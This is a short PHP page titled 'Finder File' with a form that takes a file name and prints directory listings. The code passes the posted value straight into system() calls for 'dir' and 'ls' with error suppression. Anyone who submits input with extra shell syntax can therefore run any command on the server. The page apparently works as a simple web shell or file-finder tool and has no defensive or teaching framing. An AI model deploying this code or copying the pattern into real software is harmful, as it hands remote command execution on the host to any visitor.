find file

<?php

$xxx=$_POST[xxxx];

?>
<p align="center">
<font size="6">Finder File</font></p>
<form action="<?php echo $PHP_SELF; ?>" method=POST>
<p align=center>
File Name :
<input type='text' name='xxxx' value='' size='50'>
<p align=center>
<br />
<textarea rows="15" cols="70">
<?
if($_POST['submit']){
@system("dir $xxx");
@system("ls $xxx");
};
?>
</textarea>
<hr>
<p align=center>
<input type='submit' name='submit' value='ckeck' size='30'>